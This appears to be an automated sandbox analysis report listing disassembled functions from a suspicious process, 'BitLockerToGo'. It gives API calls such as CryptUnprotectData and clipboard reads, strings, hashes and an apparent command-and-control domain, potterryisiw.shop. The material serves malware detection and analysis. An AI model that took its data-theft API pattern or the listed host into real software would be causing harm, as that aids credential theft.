Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 412a56a4daa580e9a38e6def7a05bf107b775cadf5a15ba109d2baf5110cfa22
Instruction ID: fa9f6840652316e7a161c78bb7483f70152b3485985a829c74f609a6e0bdbdce
Opcode Fuzzy Hash: 412a56a4daa580e9a38e6def7a05bf107b775cadf5a15ba109d2baf5110cfa22
Instruction Fuzzy Hash: ABF1E375A083449FE711CF28D88579BBBE1BF88314F04892EF9989B381D775D909CB82

Function 024518B0 Relevance: 2.8, Strings: 2, Instructions: 271COMMON

Download Yara Rule

Strings

AC, xrefs: 02451B7E
EFG, xrefs: 02451B86

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: AC$EFG
API String ID: 0-4136014475
Opcode ID: 192d1d1a52aea4a3eea5db4a379a0ec8ab6cbd29c17142f1c35f5bb008df613a
Instruction ID: d37ed4aca5ebbceed2bb272fd0431bdc28b2d6fd174e2c0ade270c76d4e4825e
Opcode Fuzzy Hash: 192d1d1a52aea4a3eea5db4a379a0ec8ab6cbd29c17142f1c35f5bb008df613a
Instruction Fuzzy Hash: BD9187B16083519BD314DF18C891B2BBBF1EF85798F048A1EF8D98B291E334D945CB92

Function 02447866 Relevance: 1.6, APIs: 1, Instructions: 146encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 024479B9

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 0a7cf14bf17281e07600d89e5fd098dd899603c33ed709bf9aaab562aa681d17
Instruction ID: 081fac0bfd860444a3bcadd7a5fa0925cbadff71173549f178c064afec416d6f
Opcode Fuzzy Hash: 0a7cf14bf17281e07600d89e5fd098dd899603c33ed709bf9aaab562aa681d17
Instruction Fuzzy Hash: EE41E6B19083428FE714CF28C49166FBBE2AB99744F144D6EE5A587352DB34E846CF82

Function 02469B15 Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000), ref: 02469B87

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e4206fe9ce2db17629fc787c1aa899ccf92932b3eca9131fb7c6274b238509da
Instruction ID: 86311318ed65b9fec51d796d9bfbde808a785e16eff5ca5f32ca3d140d9a88d2
Opcode Fuzzy Hash: e4206fe9ce2db17629fc787c1aa899ccf92932b3eca9131fb7c6274b238509da
Instruction Fuzzy Hash: 6C1192316011418FD724CF19C890B55FBF2FF99710F15496DE1C58B292C771E856CB80

Function 02469BC0 Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0246C97C,005C003F,00000006,00120089,?,00000018,F0F18E8F,00000000,02446BEE), ref: 02469BE6

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 02450E98 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 432bdd506de2139d4370de993f4ac0ab9f1bf4b7bbb453a6d6c9028f5d029810
Instruction ID: 0ba2b21f45d93a51c882a52c918ce028e790b0b40494aa389c5a0fc4f9c62a2e
Opcode Fuzzy Hash: 432bdd506de2139d4370de993f4ac0ab9f1bf4b7bbb453a6d6c9028f5d029810
Instruction Fuzzy Hash: 9E02AB71A18352CBC314CF14C490A6BB7F2FF89748F14896EE8CA8B352E7349959CB52

Function 024526F0 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 417312bb2445160941fdfb73bb6b31a9df42b4b4990181009602d7710cbe2b56
Instruction ID: 4ec0b9af03e68a80d866fd8b9c4c6032903eea6bba43b521724df63d4f4c3bd2
Opcode Fuzzy Hash: 417312bb2445160941fdfb73bb6b31a9df42b4b4990181009602d7710cbe2b56
Instruction Fuzzy Hash: 19C1CCB1A083628BD714DF59C88072BB7E2AB94314F18492EEDC597352E3B8D845CB92

Function 02465E20 Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de07fce86e438f59ea53bef6d0cffde16f42f6ba1d74aa663ae13dd63b24bde8
Instruction ID: 8d73bad9847b8334df00fe987b14128a8ea0daa73cf266e1931183c6bd39ade7
Opcode Fuzzy Hash: de07fce86e438f59ea53bef6d0cffde16f42f6ba1d74aa663ae13dd63b24bde8
Instruction Fuzzy Hash: 83A18AB4A007018FE728CF19C894B37B7A6FF88314F648A2ED1A64BB91D775A415CF81

Function 02446F50 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e370a8e2941052b0c6085e84df68848fd7a60c9423ec85e53e3cb09f45ecd287
Instruction ID: d8f7c745878c875b39b3d8e8dd595b6bd813ab59339417ae4a812f2cdc66972b
Opcode Fuzzy Hash: e370a8e2941052b0c6085e84df68848fd7a60c9423ec85e53e3cb09f45ecd287
Instruction Fuzzy Hash: 3C81CF746083409FE7248F14C890B6BB7A6FFC9318F054A5DF8D95B381DB74A906CB92

Function 0246D130 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a29583ff80d4633907bf3731284b51fa89567961d6fcac131fc65a9eb2dd3c4
Instruction ID: c33c0417d48e8097020c3509418a3417e03858e2be34e799e9923e3b96833d46
Opcode Fuzzy Hash: 9a29583ff80d4633907bf3731284b51fa89567961d6fcac131fc65a9eb2dd3c4
Instruction Fuzzy Hash: 9581AA71A04312DBC728CF19C994A6BB7E2FF88B14F18891EE9859B351D370DD54CB92

Function 0244BF50 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1dcb9b7d28e1e668e4f6d7cc9510af5b7627a7a6b1b6aa2691e2f97e12cfe83
Instruction ID: b2ba956950e31dcb884e5585ac5599310b9a0315655cf0537bdb772c583f86d4
Opcode Fuzzy Hash: b1dcb9b7d28e1e668e4f6d7cc9510af5b7627a7a6b1b6aa2691e2f97e12cfe83
Instruction Fuzzy Hash: 55411675A083018BE704CF64C89076BB7F1EFC5764F088A2EE48597391EB34D945CB92

Function 0245F96C Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb303b33d2ebe7b73904d3737268524cd219f102356ac4b534b0f0710b2795b
Instruction ID: a5994210bad8541ac72bdd6745edf3c4d5e6eaa76d5a7735b6478f22496187da
Opcode Fuzzy Hash: dfb303b33d2ebe7b73904d3737268524cd219f102356ac4b534b0f0710b2795b
Instruction Fuzzy Hash: BFF0A5B16047018FD314DF25CA587177BE2BB88704F22895CD4A64BB44C7B4AA098B82

Function 0245BB9C Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 92
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0245BC81

Strings

", xrefs: 0245BBFE
%, xrefs: 0245BBE2
!, xrefs: 0245BBF2
', xrefs: 0245BBEA
-, xrefs: 0245BC02
#, xrefs: 0245BBFA

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID: !$"$#$%$'$-
API String ID: 2525500382-1983157586
Opcode ID: ddba04fb9db972e65252ec2e5c96ce4788c5d432f8b2c5ca7af544c7e9c25adc
Instruction ID: bba1747a94f75fadad00befe801622a92c95a5287d907c9d0b91714bc0334ada
Opcode Fuzzy Hash: ddba04fb9db972e65252ec2e5c96ce4788c5d432f8b2c5ca7af544c7e9c25adc
Instruction Fuzzy Hash: 33410770108B81CED715CF28C498746BFE1AF56314F088A9DD8E98F39AC775E54ACB62

Function 02465BD1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02465C0E

Strings

\, xrefs: 02465BD9
C, xrefs: 02465BD1

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID: C$\
API String ID: 2039140958-514332402
Opcode ID: 0136fc7a0d1387c0369ac6580a1c95d1fe1500e88e076ae03c28bd87a3dd776e
Instruction ID: ae10cd39efd206cac2b3010c219c8bbea04ac104fc27e6b294506bc9714c360d
Opcode Fuzzy Hash: 0136fc7a0d1387c0369ac6580a1c95d1fe1500e88e076ae03c28bd87a3dd776e
Instruction Fuzzy Hash: CAF092B4795340BBF318DF10DD66F2AB395A744B08F204C1CB356F61C0DBB4A9148A0D

Function 0243A4B0 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 812
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 0243A61E

Strings

potterryisiw.shop, xrefs: 0243A933, 0243B176

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: potterryisiw.shop
API String ID: 1029625771-996537020
Opcode ID: c103632756ed09438e6cae2116164fd7ea6b2aa46fd0cc5cbe02935113c34526
Instruction ID: 620a63924796f6c32149e7c470c1867221ecd7e8d9aae7e0ab6665561e6b5a2e
Opcode Fuzzy Hash: c103632756ed09438e6cae2116164fd7ea6b2aa46fd0cc5cbe02935113c34526
Instruction Fuzzy Hash: 86922B70508B81CED326CB38D448796BFE1AB16324F044A5ED4FB8B7D2D775A14ACB62

Function 024581F7 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 487COMMON

Download Yara Rule

Strings

<VX~, xrefs: 0245895F

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: <VX~
API String ID: 0-911688032
Opcode ID: 11685b4587557c7fd84eda936cb23e91137d13768fc4923eba040a8f869169f6
Instruction ID: 394fc6283812ba3cd7a84e23e785f1744353eb4c1958cfdf248bfde15b8fad31
Opcode Fuzzy Hash: 11685b4587557c7fd84eda936cb23e91137d13768fc4923eba040a8f869169f6
Instruction Fuzzy Hash: 78F17D70104B928FD726CF39C4947A7BBE1AF46308F08486ED4EB8B782DB39A445CB51

Function 024585CC Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 404COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0245870F

Strings

<VX~, xrefs: 0245895F

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: <VX~
API String ID: 3960555810-911688032
Opcode ID: 2b14766f7aab91647b2615b8e82d43bb123ec9cf6de717f717ac89d2f849d74c
Instruction ID: a60a296d562a03d0d859a9f55c893b961b4fd3acd22c9a9ad7e6a678a165e996
Opcode Fuzzy Hash: 2b14766f7aab91647b2615b8e82d43bb123ec9cf6de717f717ac89d2f849d74c
Instruction Fuzzy Hash: 72D15D70104B928BD739CF39C494BA7BBE1AF56308F04486ED5EB8B782DB35A449CB51

Function 024393C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 02439429

Strings

system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways, xrefs: 024393F2

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: ExitProcess
String ID: system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways
API String ID: 621844428-780655312
Opcode ID: 42003c9b3abc7f69e4dcef19397040cb5ad90e1ff0613e5a9a53cb02052119ed
Instruction ID: c068961a6a42644771950469efa346a4c61ba50dbbc3a4bd6b74e2cfbc0ad1ee
Opcode Fuzzy Hash: 42003c9b3abc7f69e4dcef19397040cb5ad90e1ff0613e5a9a53cb02052119ed
Instruction Fuzzy Hash: 5CF082B180C12086CA0237B6A64937E3B555F2D334F40053BCDA252240EBF9805ACEE3

Function 02460859 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 024608AD
GetSystemMetrics.USER32 ref: 024608BC

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: 937ed75fd2ebc9af868b1f7ac1cbe2ef7c24ae7f0a71f766c6e4589166fb8850
Instruction ID: d1ad630f0baa7c6309e4ca2ac0063e485717156b3ece742a09bbe5e1bfe7213c
Opcode Fuzzy Hash: 937ed75fd2ebc9af868b1f7ac1cbe2ef7c24ae7f0a71f766c6e4589166fb8850
Instruction Fuzzy Hash: 0B215DB0A15B008FD3A0EF3DD98165ABBE4BB48704F01592DE89AC7750E774B954CF82

Function 02459D61 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 02459E84

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 662661557177575c275c7dbc6df739f876303be79ef92e84c6987e61dd3aebfa
Instruction ID: 8e1ccc1f5c5a067e8f90ec4e82e28e5082b14fc847a2a48df169694647d5105e
Opcode Fuzzy Hash: 662661557177575c275c7dbc6df739f876303be79ef92e84c6987e61dd3aebfa
Instruction Fuzzy Hash: CC317A30404F91CED3268F34C854BA3BBE2AF56209F04095DD4EB8B293D77A6519DF90

Function 024407DB Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 024407E1

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: DirectorySystem
String ID:
API String ID: 2188284642-0
Opcode ID: e98fa43c644de32ab09d59df468983e53e5163cc2a941081d57278ab3ea2c977
Instruction ID: 58b5190f2af58da5e50baa3b5813603bfbd3caedc650e5d4d5e09d86a66fea3d
Opcode Fuzzy Hash: e98fa43c644de32ab09d59df468983e53e5163cc2a941081d57278ab3ea2c977
Instruction Fuzzy Hash: 99012BB6E411800BE73C8F349DD267BB257EBC4124F29152FD956C7392DF3888158951

Function 02467C52 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 02467C58

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a503010ac58f85a95a1d44005c97f576187f4b635ac158475b2f4c2decdb0c76
Instruction ID: 887d88230a7bf37a92c04ec698f3471b51ac6e7077d2a7a0411c7b78d7dd0bb5
Opcode Fuzzy Hash: a503010ac58f85a95a1d44005c97f576187f4b635ac158475b2f4c2decdb0c76
Instruction Fuzzy Hash: F4C01238AD81008FE20CCF20DD55B25B32AEB89601B10850D98120A3E2C2B06C26CA04

Function 024650A9 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 024650C4

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 1595d6d980a6c97c0ec197f192ac475460a75e379d1f7e77dadc58d66a3635c7
Instruction ID: a74a883c951858a14eb7728d79ade3ccf554d54652fcf2bb4fd17e0960e36e13
Opcode Fuzzy Hash: 1595d6d980a6c97c0ec197f192ac475460a75e379d1f7e77dadc58d66a3635c7
Instruction Fuzzy Hash: CBE04FB9A02201CFC318EF7CD5A596A7BE1AB48700F01082DD996C3381EA30AA548B12

Function 02469A51 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 02469A51

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 2d9810294725a5e5be0b7b833d58f5b21c4b22976317fa8366867e1190347eb0
Instruction ID: 760f2aff557391528b9df5c91f8e5adb53dab760646a4657576a4092a427c48b
Opcode Fuzzy Hash: 2d9810294725a5e5be0b7b833d58f5b21c4b22976317fa8366867e1190347eb0
Instruction Fuzzy Hash: DCD01236ED00808BC34CCA35D44D21D2353E389259B4A4C24912AC7285D53459A49E41

Function 02467D92 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 02467D98

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: adbc523673fee2e3bd5af94a9b0b88d842543f0a33cfef819519f60f31cea1e9
Instruction ID: c133312a9ae986ccfe212444c9a77c13a12ed932d52ab73ccba735e20b346479
Opcode Fuzzy Hash: adbc523673fee2e3bd5af94a9b0b88d842543f0a33cfef819519f60f31cea1e9
Instruction Fuzzy Hash: 9FC09B76B410459FDE145E94FC057DCB734E740279F200066E61C95051C27255379750

Non-executed Functions

Function 02431EF0 Relevance: 10.6, Strings: 8, Instructions: 595COMMON

Download Yara Rule

Strings

[, xrefs: 02432158
true, xrefs: 02432069
false, xrefs: 02432081
0, xrefs: 02431F93
., xrefs: 02431F99
null, xrefs: 0243219E
., xrefs: 02431FBE
{, xrefs: 02432255

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: 10b08dd7307d53725ae340992d0b738a7886e4eee3bba8f1d5dbb0b227c7d6a0
Instruction ID: 1c6840deb2ef85ca01751be53f949f354a7c8a9de9d3e67b61caec85c74d68b3
Opcode Fuzzy Hash: 10b08dd7307d53725ae340992d0b738a7886e4eee3bba8f1d5dbb0b227c7d6a0
Instruction Fuzzy Hash: 6D1226B1A003059BE7129F25D85472BBBE5AF48308F19443EED8ECB392E7B4D954CB51

Function 02460030 Relevance: 9.1, APIs: 6, Instructions: 147clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 02460076
GetWindowLongW.USER32 ref: 024600A1
GetClipboardData.USER32 ref: 024600B6
CloseClipboard.USER32 ref: 024601EB

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 0dfbf2ccb49b1de7d3344b3abcd86db54f589350855fd44d9f012affd18bc104
Instruction ID: fb8d3ce2ac6fa6c99db18e30d051f2aced555a654ff5e92468d66d5912dacc46
Opcode Fuzzy Hash: 0dfbf2ccb49b1de7d3344b3abcd86db54f589350855fd44d9f012affd18bc104
Instruction Fuzzy Hash: A2515E70508B82DFC321DF38C548766FBE0BB16220F048B5ED4EA87A91D375E45ACB92

Function 02452EF0 Relevance: 6.7, Strings: 5, Instructions: 454COMMON

Download Yara Rule

Strings

YFGS, xrefs: 0245338F
CNSE, xrefs: 024533AF
<I, xrefs: 024533C2
m]R_, xrefs: 0245329D, 024531FD, 0245327D
]VHL, xrefs: 02453397

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: <I$CNSE$YFGS$]VHL$m]R_
API String ID: 0-4138239525
Opcode ID: 33814e902aa17822a7c68532be1d8dd6e9c9bd4987beef5cc83140950cddbb60
Instruction ID: b6767c3b331968aa52573eccc7fb897a654a59e3de6542774e988e8347070802
Opcode Fuzzy Hash: 33814e902aa17822a7c68532be1d8dd6e9c9bd4987beef5cc83140950cddbb60
Instruction Fuzzy Hash: A8E1EFB1908391DFD314CF25D49066BBBE2AF8A344F44886EF8D58B342D335D94ACB92

Function 02453480 Relevance: 6.5, Strings: 5, Instructions: 249COMMON

Download Yara Rule

Strings

YFGS, xrefs: 0245338F
CNSE, xrefs: 024533AF
<I, xrefs: 024533C2
m]R_, xrefs: 0245329D, 024531FD, 0245327D
]VHL, xrefs: 02453397

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: <I$CNSE$YFGS$]VHL$m]R_
API String ID: 0-4138239525
Opcode ID: 9695f5bfdd5aa277eee122465ea8eba8b3083a80aeaf626037fc951c732abb70
Instruction ID: d46973833bd3d6f461f7e2022ace29ab0164d4b12c1727c1a02d8e4d8a7347d8
Opcode Fuzzy Hash: 9695f5bfdd5aa277eee122465ea8eba8b3083a80aeaf626037fc951c732abb70
Instruction Fuzzy Hash: A9818671908341DBD304CF25D48065BBBF1EB8A788F14886EE8D89B312D734E94ACB92

Function 0245991D Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

b@R7, xrefs: 02459B76
kPIW, xrefs: 02459C7F

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: b@R7$kPIW
API String ID: 0-1884968839
Opcode ID: bbc5a7ee2019195152e0b3ffcdc0edebc9b1902ec06670a22e5db778e3172ea0
Instruction ID: 07197d34d22c266f1ebef4af8f924732198f2fa747cdc2730408b8752d5d63ae
Opcode Fuzzy Hash: bbc5a7ee2019195152e0b3ffcdc0edebc9b1902ec06670a22e5db778e3172ea0
Instruction Fuzzy Hash: 06C1E070544B92CBD325CB39C880BA7BBE2BF55314F144A6ED8EB8B792D334A445CB90

Function 02435940 Relevance: 3.3, Strings: 2, Instructions: 844COMMON

Download Yara Rule

Strings

8, xrefs: 024362DA
0, xrefs: 024362E5

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 46b53667f32725a19b436466ee57062ebb3059e35b33eed13d1c1c3053278077
Instruction ID: b2ec919a1f3023f7fbb173222d5dd44062a607986284e9d917c9d6e4603369ce
Opcode Fuzzy Hash: 46b53667f32725a19b436466ee57062ebb3059e35b33eed13d1c1c3053278077
Instruction Fuzzy Hash: 9F7259716083419FD721CF18C880B9BBBE1BF88318F49891EF9998B391D775D949CB92

Function 02456B70 Relevance: 3.0, Strings: 2, Instructions: 527COMMON

Download Yara Rule

Strings

", xrefs: 02457012
", xrefs: 0245704D

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: 4018eaefa46e8c0e73c0780c1f63d92fcb563175c47aa304a2da2e8f297fb4e0
Instruction ID: f5e34e7518d693b486e8c1b19a9a476c683468be9f0a23984cff7442b3f3418b
Opcode Fuzzy Hash: 4018eaefa46e8c0e73c0780c1f63d92fcb563175c47aa304a2da2e8f297fb4e0
Instruction Fuzzy Hash: B30207B1A083215FD715CE25C48076BB7EAAF84314F49892EECD987393D774D949CB82

Function 02453AD9 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

{nIJ, xrefs: 02453BF5
